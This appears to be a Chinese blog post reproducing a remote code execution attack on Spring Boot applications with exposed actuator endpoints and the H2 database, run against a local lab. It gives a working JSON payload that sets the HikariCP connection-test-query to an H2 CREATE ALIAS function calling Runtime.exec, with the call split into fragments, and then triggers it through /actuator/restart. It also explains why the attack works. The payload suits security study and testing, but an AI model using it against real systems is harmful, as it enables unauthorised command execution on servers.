restart h2 database query RCE复现

restart h2 database query RCE复现

漏洞环境:

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-h2-database-rce

IDEA 打开配置一个 Spring Boot 程序即可

漏洞复现:

  1. 访问 /actuator/env 接口修改 spring.datasource.hikari.connection-test-query 属性为通过 CREATE ALIAS 创建的自定义函数

    http://127.0.0.1:9096/actuator/env
    application/json
    
    {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
    
  2. 访问 /actuator/restart 接口重启 Spring Boot 程序,触发自定义函数执行

    http://127.0.0.1:9096/actuator/restart
    application/json
    
    
    

漏洞原理:

HikariCP 数据库连接池的 connectionTestQuery 属性配置作用是定义一个连接数据库前执行的 SQL 测试语句,通过访问 /actuator/env 接口修改 spring.datasource.hikari.connection-test-query 值,其实就是修改 connectionTestQuery 属性配置,再通过 /actuator/restart 接口重启Spring Boot程序,这时会重新连接数据库从而执行自定义 SQL 函数(只有这个SQL函数没有被执行过,重启 Spring Boot 程序的时候才会执行这个SQL函数,所以每执行一次命令就要把自定义函数的名字换一下)

Reference:

https://github.com/LandGrey/SpringBootVulExploit

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值